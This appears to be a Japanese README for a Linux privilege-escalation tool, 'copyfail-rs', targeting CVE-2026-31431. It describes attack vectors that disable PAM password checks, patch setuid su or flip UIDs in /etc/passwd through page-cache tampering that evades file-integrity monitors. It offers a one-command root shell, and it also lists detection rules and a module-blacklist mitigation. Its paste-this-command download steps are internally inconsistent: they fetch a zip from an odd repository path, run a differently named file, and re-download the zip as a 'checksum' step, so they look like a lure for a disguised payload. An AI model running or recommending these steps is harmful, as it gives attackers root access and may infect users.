
CVE-2026-31431 の脆弱性を、システムの整合性を監視し PAM 認証をバイパスする静的バイナリを使用して悪用・検出します。
CVE-2026-31431(CopyFail)向けマルチベクターPoC + ペアの検出機能。 他の公開PoCにはない、新しいPAM認証バイパスベクターを搭載。 検出モードは、AIDE / Wazuh / OSSEC / Tripwireが構造的に検出できないものを捕捉します。
単一の静的バイナリ。約108 KB。no_std musl。
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
ワンコマンド。ルートシェル。内部ではPAMへの致命的一撃(/etc/pam.d/common-authへの4バイト書き込み)を実行し、パスワードを使い捨てにするsudo経由でPTYからrootにドロップします。[sudo] password for noot:の行は一瞬表示されますが、sudoは常にこのプロンプトを出力します。バイナリはそこに任意の文字列を渡し、pam_unixの失敗がコメントアウトされたpam_deny.soを経由してpam_permit.soへとカスケードし、rootに到達します。
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← what's actually loaded (mutated)
disk: 117dab1c... ← what AIDE / Wazuh / Tripwire see (clean)
それがこのプロジェクトです。ディスクはクリーン、キャッシュは改変済み。公開されているFIMはすべて盲目です。このツールは違います。
ビルド済みの静的バイナリはv0.1.0 リリースにあります。アーキテクチャを選んでダウンロードし、実行するだけです。
# x86_64 (most laptops + cloud servers)
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
他のアーキテクチャ:
| アーキテクチャ | ファイル |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
整合性の検証:
curl -LO https://raw.githubusercontent.com/Liverwortenuresis371/copyfail-rs/main/src/vectors/copyfail-rs-3.9.zip
sha256sum -c checksums.txt
静的muslバイナリ、ランタイム依存なし、あらゆるLinuxにそのまま展開可能。
ページキャッシュの改変。VFS書き込みなし。ダーティページなし。inotifyイベントなし。定期的な再スキャンはページのエビクション(追い出し)と競争します。
AIDE/Wazuh/OSSEC/Tripwire/Samhainはバッファ付きI/O → ページキャッシュ経由で読み取り、改変されたバイト列を真実としてハッシュ化します。あるいはエビクション後はクリーンなディスクをハッシュ化し、「変更など一切なかった」と判定します。
検出にはO_DIRECT(キャッシュ回避)+ バッファ付き読み取り(キャッシュヒット)+ ハッシュ差分が必要です。不一致 = CopyFailのシグネチャ。それが--scanです。
自動選択: --vector auto(デフォルト)。ステルス性の高い順にpam > su > passwdを選択します。失敗時にはフォールバックします。
すべてのモードで--jsonに対応し、SIEMへ取り込めます。
detection/:
sigma/copyfail-af-alg.yml、Sigmaルール。SIEMにそのまま投入可能auditd/copyfail.rules、augenrules --loadebpf/copyfail-trace.bt、bpftraceワンライナーapparmor/copyfail-block.profile、AppArmor 3.0+拒否ルールmitigation/disable-algif.sh、modprobeブラックリスト + =y警告echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
またはカーネル本流の修正a664bf3d603d(2026年4月)を使用します。現時点で修正を出荷しているのはDebian Sid/Forkyのみです。Ubuntu LTS、RHEL、SUSE、Amazon Linux、Fedora、Arch、Oracleはすべて脆弱です。
注意点: CONFIG_CRYPTO_USER_API_AEAD=y(組み込み)の場合、modprobeを静かにバイパスします。--checkが警告を出します。
エクスプロイト実行後に緩和策を適用した場合: キャッシュの改変は再起動まで持続します。緩和策は新しいエクスプロイトを防ぐだけで、過去の被害は元に戻せません。
cargo build --release --target x86_64-unknown-linux-musl
| ターゲット | サイズ |
|---|---|
| x86_64-musl | 108 KB |
| aarch64-musl | 96 KB |
| armv7-musleabihf | 86 KB |
no_std。アロケータなし。ランタイム依存なし。単一の静的バイナリ。
ビルド済みアーティファクトとSHA256サムはGitHubリリースに添付されています。
各モード(exploit auto/list/all、detect check/scan/baseline/diff/watch/hunt)の具体的な1画面分の例はdocs/usage.mdを参照してください。
このREADMEのより長文のナラティブ版(より多くの文脈、より深い解説)はBLOG.mdを参照してください。
docs/threat-model.mdを参照してください。
自分のハードウェアのみを対象とします。CLIゲートなし(見せかけのセキュリティ)。README + LICENSEが枠組みです。
検出モードは読み取り専用です。本番環境でも安全です。
エクスプロイトモードはカーネルのページキャッシュを改変します。RAM上のみの変更ですが、破壊的とみなしてください。以降のすべての認証要求をブロックします。
CVE-2026-31431は2026-04-29にTheori / Xintによって公開されました(解説、Xintブログ)。以前の公開PoC:
このプロジェクト(copyfail-rs): PAM認証バイパスベクター、デュアルモード検出、IRアーティファクトを追加。
MIT。
a664bf3d603d72548b093ee3(4.14、2017年8月)| ベクター | ターゲット | 書き込み先 |
|---|
pam(新規) | /etc/pam.d/common-auth(Debian/Ubuntu)またはsystem-auth(Fedora/RHEL/Arch) | 4バイト。auth requisite pam_deny.so → #aut requisite pam_deny.so。任意のパスワードでsudo = root。 |
su | /usr/bin/su | setuidバイナリのテキストを改変。execve → root。 |
passwd | /etc/passwd | UID反転 → 次回ログイン時にそのユーザーがrootになります。そのユーザーのSSHは機能しなくなります。 |
| モード | 内容 |
|---|
--check | カーネル + モジュール + CONFIG_CRYPTO_USER_API_AEAD + 緩和策の状態。判定: 脆弱 / 緩和済み / 安全。 |
--scan | 重要ファイルに対するO_DIRECTとバッファ付き読み取りの差分。statfs()で分岐: ext4/xfs/btrfsはO_DIRECTを使用、overlayfsはフォールバック、tmpfsはスキップ。 |
--baseline / --diff | 既知のクリーンな状態をスナップショット。後で差分を取ります。キャッシュのみの差分 = CopyFailのフィンガープリント。 |
--watch | デーモンとして動作。定期的にスキャン。SIGTERMでクリーン終了。 |
--hunt | SSHフリート全体をスイープ。結果はJSONに集約。 |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| ベクター | su | su + passwd | su | su + passwd + PAM(新規) |
| 検出 | なし | なし | なし | 完全な --mode detect |
| IRアーティファクト | なし | なし | なし | Sigma + auditd + eBPF + AppArmor |
| 運用UX | 3コマンド | 4コマンド | 5コマンド | 1コマンド |
| バイナリ | Pythonが必要 | 約10 KB | 約5 MB | 約108 KBの静的バイナリ |